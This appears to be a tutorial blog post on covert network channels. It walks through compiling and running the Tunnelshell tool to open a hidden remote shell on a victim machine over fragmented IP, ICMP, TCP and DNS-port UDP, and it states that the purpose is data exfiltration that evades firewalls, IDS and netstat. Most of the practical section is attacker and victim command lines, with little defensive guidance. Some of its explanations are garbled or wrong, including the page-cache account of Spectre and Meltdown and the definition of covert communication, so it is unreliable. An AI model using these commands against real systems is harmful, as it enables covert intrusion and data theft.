Covert Channel: The Hidden Network

Generally, the hacker uses hidden network to escape themselves from firewall and IDS such. In this post, you will learn how to steal information from target machine through undetectable network. Such type of network is known as covert channel which seems as generic traffic to any network monitor device/application and network admin. It could be considered as steganography, but it is not exactly steganography. Two endpoint users can use covert channel for undetectable communication from network admin, for example terrorist.

The red teamers use covert channels for data exfiltration in red teaming operations through a legitimate network and the data exfiltration is a process of secretly sharing data between two endpoints.

Table of content

What is Covert channel

·         Type of covert channel

Covert channel attack using tunnelshell

·         What is Tunnelshell

·         Covert ICMP Channel

·         Covert HTTP Channel

·         Covert DNS Channel

What is covert channel?

The word covert means “hidden or undetectable” and Channel is “communication mode”, hence a covert channel denotes an undetectable network of communication. This makes the transmission virtually undetectable by administrators or users through a secret channel. It's very essential to know the difference between encrypted communication and covert communication. In covert communication the data stream is garbled and lasting by an unauthorized party. However, encrypted communications do not hide the fact that there has been a communication by encrypted the data travelling between both endpoints.

Type of covert channel

Storage covert Channel: Communicate by modifying a "storage location", that would allow the direct or indirect writing of a storage location by one process and the direct or indirect reading of it by another.

Timing Covert channels - Perform operations that affect the "real response time observed" by the receiver.

Note: The well – known Spectre and Meltdown use a system’s page cache as their covert channel for exfiltrating data.

The specter and Meltdown attacks work by tricking your computer into caching privileged memory and through miscalculated speculative execution, a lack of privilege checking in out-of-order execution, and the power of the page cache. Once privileged memory is accessed the processor caches the information and the processor is able to retrieve it from the cache, regardless of whether its privileged information or not.

Read complete article from here.

Covert Channel Attack Using Tunnelshell

It is possible to use almost any protocol to make covert channel. The huge majority of covert channel research has based on layer 3 (Network) and layer 4 (Transport) protocols such as  ICMP, IP and TCP. Layer 7 (Application) protocols such as HTTP and DNS are also frequently used. This mechanism for conveyaning the information without alerting network firewalls and IDSs and moreover undetectable by netstat.

What is tunnelshell?

Tunnelshell is a program written in C for Linux users that works with a client-server paradigm. The server opens a /bin/sh  that clients can access though a virtual tunnel. It works over multiple protocols, including TCP, UDP, ICMP, and RawIP, will work. Moreover, packets can be fragmented to evade firewalls and IDS.

Let’s go with practicle for more details.

Requirement

·         Server (Kali Linux)

·         Client  (Ubuntu18.04)

·         Tool for Covert Channel (Tunnelshell) which you can download from here.

Here, I’m assuming we already have a victim’s machine session through c2 server. Now we need to create a hidden communication channel for data exfiltration, therefore, install tunnelshell on both endpoints.

Once you download it, then extract the file and compile it as shown below:

tar xvfz tunnelshell_2.3

make

Similarly, repeat the same at the other endpoint (victim’s machine) and after completion, execute the following command in the terminal to open communication channel for the server (Attacker).

sudo ./tunneld

By default, it sends fragment packet, which reassembles at the destination to evade from firewall and IDS.

Now to connect with tunnelshell we need to execute following command on the server (Attacker’s machine) which will establish a covert channel for data exfiltration.

Syntax: ./tunnel -i -d -s -t -o -p -m -a

./tunnel -t frag 10.10.10.2

frag: It use IPv4 fragmented packets to encapsulate data.  When some routers and firewalls (like Cisco routers and default Linux installation) receives fragmented packets without headers for the fourth layer, they permit pass it even if they have a rule that deny it. As you can observe that it is successfully connected to 10.10.10.2 and we are to access shell of the victim’s machine.

As I had said, if you will check the network statics using netstat then you will not observe any process ID for tunnelshell. From the given below image you can observe that with the help of ps command I had checked in process for tunnelshell and then try to check its process id through netstat.

ps |grep .tunneld

netstat –ano

Let’s take a look of network traffic generated between 10.10.10.1 (Attacker’s IP) and10. 10.10.2 (Victim’s IP) using Wireshark. The network flow looks generic between both endpoints, but if it monitors properly, then a network administrator could sniff the data packet. As you can observe that Wireshark has captured the covert traffic and sniff the data that was travelling between two endpoint devices.

Covert ICMP Channel

As we know Ping is the use of ICMP communication that use icmp echo request and icmp echo reply query to establish connection between two hosts therefore execute the below command:

sudo ./tunneld -t icmp -m echo-reply, echo

Now to connect with tunnelshell we need to execute following command on the server (Attacker’s machine) which will establish a covert channel for data exfiltration.

./tunnel -t icmp -m echo-reply,echo 10.10.10.2

As you can observe that it is successfully connected to 10.10.10.2 and the attacker is able to access shell of the victim’s machine.

Again, if you will capture the traffic through wireshark then you will notice the ICMP echo request and reply packet is being travelling between both endpoints. And if you will try to analysis these packets then you will be able to see what kind of payload is travelling as ICMP data.

Covert HTTP Channel

It establishes a virtual TCP connection without use three way handshakes. It doesn't bind any port, so you can use a port already use it by another process, therefore execute the below command:

sudo  ./tunneld -t tcp -p 80,2000

Now to connect with tunnelshell we need to execute following command on the server (Attacker’s machine) which will establish a covert channel for data exfiltration.

./tunnel -t tcp -p 80,2000 10.10.10.2

As you can observe that it is successfully connected to 10.10.10.2 and again attacker is able to access shell of the victim’s machine.

Onside, if you consider the network traffic then you will notice a tcp communication establish without three-way-handshake between source and destination.

Covert DNS Channel 

To establish DNS covert channel, we need to run UDP tunnel mode on both endpoint machines. Therefore, execute the following command on the victim’s machine:

sudo ./tunneld -t udp -p 53,2000

Similarly execute following on your (Attacker) machine to connect with a tunnel.

./tunnel -t udp -p 53,2000 10.10.10.2

As you can observe here the DNS malformed packet contains the data traveling between both endpoint machine.

Conclusion: Covert channel does not send encrypted data packet while data exfiltration therefore it can easily sniff, and network admin can easily conduct data loss and risk management.